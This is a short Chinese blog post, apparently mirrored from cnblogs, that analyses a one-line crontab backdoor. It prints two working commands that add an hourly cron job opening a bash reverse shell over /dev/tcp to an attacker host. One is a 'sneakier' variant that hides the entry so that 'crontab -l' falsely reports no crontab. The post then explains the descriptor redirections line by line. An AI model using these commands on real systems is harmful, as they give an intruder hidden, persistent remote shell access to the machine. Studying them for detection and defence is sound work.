zoukankan      html  css  js  c++  java
  • crontab一句话后门分析

    正常版本

    (crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -


    升级猥琐版本

    (crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;
    no crontab for `whoami`%100c
    ")|crontab -

    crontab -l直接提示no crontab 

    分析:

    echo '*/60 * * * *'

    crontab格式 每隔60分钟执行一次

    exec 9<>/dev/tcp/127.0.0.1/8888

    以读写方式打开/dev/tcp,并指定服务器名为:127.0.0.1(攻击机) 端口号为:8888,指定描述符为9

    要注意的是:/dev/tcp本身是不存在的,在/dev目录下是找不到的

    exec 0<&9;exec 1>&9 2>&1;

    linux 三个基本文件描述符 0:stdin 1:stdout 2:stderr

    n >&m 表示使文件描述符n成为描述符m的副本

    exec 0<&9;   将fd9从定向到标准输入;

    exec 1>&9 2>&1;   将标准输出从定向到文件fd9,将标准错误从定向到标准输出.

    简单的理解为fd9=fd0  fd1=fd9 所以我的理解是,fd9从标准输入读入字符,处理后结果用标准输出输出.

    /bin/bash --noprofile -i

    打开一个shell

    附:shell后门脚本大全

  • 相关阅读:
    关于<form>标签
    javaEE学习随笔
    类与接口
    java学习中的一些总结
    java 对象的创建
    jQuery选择器
    CSS学习随笔
    JDBC笔记 二
    Java EE笔记 (1) JDBC
    泛型笔记
  • 原文地址:https://www.cnblogs.com/he1m4n6a/p/10069895.html
Copyright © 2011-2022 走看看